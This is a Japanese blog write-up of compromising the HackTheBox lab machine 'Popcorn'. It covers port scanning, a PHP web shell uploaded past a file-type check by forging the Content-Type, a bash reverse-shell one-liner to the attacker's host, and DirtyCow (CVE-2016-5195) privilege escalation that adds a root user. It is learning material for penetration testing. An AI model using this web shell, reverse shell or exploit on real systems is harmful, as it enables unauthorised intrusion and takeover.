今回はHackTheBoxのMediumマシン「Popcorn」のWriteUpです。
名前からはどのようなマシンなのか想像つきませんね。。楽しみです!
グラフはいつものMediumマシンよりも少し簡単め?でしょうか。
評価はかなり高いので期待できます!サクッと攻略目指して頑張ります~!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Popcorn
列挙
それでは攻略開始しましょう。
まずはnmap
を実行して、ポートスキャンを行います。
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.10.6
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.12
22番と80番がオープンしています。ブラウザからアクセスしてみましょう。
Apacheのデフォルトページが表示されました。
さすがに情報がなさすぎるので、ディレクトリ探索を行います。
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://popcorn.htb/FUZZ -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
[Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 207ms]
index [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 3858ms]
test [Status: 200, Size: 47410, Words: 2478, Lines: 655, Duration: 183ms]
torrent [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 182ms]
rename [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 181ms]
[Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 181ms]
:: Progress: [220547/220547] :: Job [1/1] :: 220 req/sec :: Duration: [0:17:27] :: Errors: 1 ::
いくつか新規のパスを確認できました。いくつか気になるものがありますが、torrent
が名前的にも怪しいのでアクセスしてみます。
Torrent Hosterというサイトが表示されました。ログイン機能があるようなので、簡単にSQLインジェクションを試しましたが発火しません。
サイト内を見てみると、アップロード機能などがありそうですがログインしていないと使用できないようなので、ユーザを新規登録します。
登録できたらログインしましょう。
ログインに成功しました。
WEB Shell via File Upload
ログインしたことにより、アップロード機能等を使用できるようになりました。アップロード機能はよく脆弱性が見つかるので気になります。アクセスしてみましょう。
torrentファイルをアップロードできる画面が表示されました。少し試したところ、この機能ではtorrentファイルのみアップロードできるように制限されており、WEBシェルは作成できそうにありません。とりあえず試しに適当なtorrentファイルをアップロードしてみます。
アップロードできました。詳細ページ?ではカテゴリやサイズが表示されており、少し下に行くと...
スクリーンショットやコメントを追加するボタンも表示されました。「Edit this torrent」というボタンを押すことでスクリーンショットをアップロードできそうです。押下してみましょう。
アップロード画面が表示されましたね。見てみると、許可されているファイルタイプが指定されていますが、スクリーンショットを追加する機能は正常に制御されていないかもしれません。試してみましょう。まずPHPファイルを用意します。
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ cat shell.php
<?php system($_GET['cmd']); ?>
作成したファイルをアップロードしてみます。が、アップロードする前にBurpSuiteのインターセプト機能をONにしておき、アップロードによって生じたリクエストを捕捉します。
捕捉後、Content-Type
をapplication/x-php
からimage/png
へ変更します。
こちらでアップロードしてみましょう。
アップロードに成功しました!あとはアクセスするだけですね。ファイルパスを確認するためにtorrentファイルの詳細ページを再読み込みしましょう。
スクリーンショットの部分に「Image File Not Found!」というメッセージが表示されています。そのメッセージをクリックしてBurpSuiteのログを確認すると...
アップロードしたファイルのパスが確認できました。
あとはこのファイルにアクセスするだけです。cmd
パラメータにはid
を指定します。
id
コマンドの実行結果が確認できました!
www-data としてのシェル
それでは、シェルを取得していきます。まずは待ち受けを開始しましょう。
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ nc -lnvp 2121
listening on [any] 2121 ...
次に実行するコマンドを用意します。今回は以下のコマンドを使用しました。
bash -c 'bash -i >& /dev/tcp/10.10.14.6/2121 0>&1'
これで準備万端です。cmd
パラメータに上記のコマンドを指定し、実行させましょう。
ブラウザはタイムアウトになりますが、待ち受けを確認すると...
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.6] 36748
bash: no job control in this shell
www-data@popcorn:/var/www/torrent/upload$ whoami
www-data
侵入成功です!
www-data@popcorn:/home/george$ ls -l
total 836
-rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip
-rw-r--r-- 1 george george 33 Sep 7 05:46 user.txt
侵入できたユーザはwww-data
でしたが、ユーザフラグを読むことができました。
垂直権限昇格
それでは権限を昇格していきましょう。まずはsudo -l
を実行してみます。
www-data@popcorn:/home/george$ sudo -l
[sudo] password for www-data:
パスワードが求められるのでsudo
は使用できなさそうです。
CVE-2016-5195 (DirtyCow)
次に、Linuxのバージョンを調査することにしました。uname
を実行します。
www-data@popcorn:/home/george$ uname -r
2.6.31-14-generic-pae
カーネルバージョンが2.6.31
であることがわかりました。このバージョンはあの超有名な脆弱性が存在していそうです。調べてみると以下のサイトを発見しました。
サイトによると、カーネルバージョン2.6.22
から4.8.3
まではDirtyCowに脆弱であることがわかります。実際に権限昇格できるか試してみましょう。
使用するPoCコードは以下のサイトにあります。
それでは攻撃を開始しましょう。まずはPoCコードをローカルへダウンロードします。
+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ git clone https://github.com/firefart/dirtycow.git
Cloning into 'dirtycow'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 26 (delta 0), reused 1 (delta 0), pack-reused 23 (from 1)
Receiving objects: 100% (26/26), 8.23 KiB | 4.12 MiB/s, done.
Resolving deltas: 100% (6/6), done.
次に、PoCコードをターゲットへ送信する必要があるので、Kali LinuxでHTTPサーバを立ち上げ、ターゲット側からダウンロードさせましょう。
-- Kali Linux
+[~/popcorn/dirtycow]
(σ▰>∇<)σ<10.10.14.6>$ python3 -m http.server 8021
-- Target
www-data@popcorn:/tmp$ wget 10.10.14.6:8021/dirty.c
送信に成功したら、コンパイルしていきます。
www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
これで準備万端です!コンパイルして生成されたバイナリを実行しましょう。
www-data@popcorn:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fiiHVWY1/yAko:0:0:pwned:/root:/bin/bash
mmap: b780e000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'perplex'.
DONT FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
実行すると、パスワードの入力が求められます。これは新たにルートユーザとして作成するユーザ(firefart
)のパスワードになります。
root としてのシェル
それでは、新たに作成したユーザ(firefart
)でログインしましょう。
www-data@popcorn:/tmp$ su firefart
Password:
firefart@popcorn:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
ログインに成功し、id
コマンドの結果からルートユーザとしての権限が得られていることがわかります!権限昇格成功です。
firefart@popcorn:~# ls -l
total 4
-rw------- 1 firefart root 33 2024-09-07 05:46 root.txt
ルートフラグも取得し、完全攻略達成です!
攻略を終えて
今回のマシンはMediumマシンでしたが、ひと昔前ということで最近のEasyマシンよりも簡単なのでは?と思いました笑
ただ脆弱性の発火自体はかなり綺麗で癖も強くなかったので、ペネトレーションテストの学習という点ではひと昔前のマシンが有力かなとも思いました。
DirtyCow自体は何度か攻撃したことがありますが、権限昇格の簡単さに毎回恐ろしいなと思うばかりです。何度も言いますが、バージョン管理重要ですね。。。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただきありがとうございました!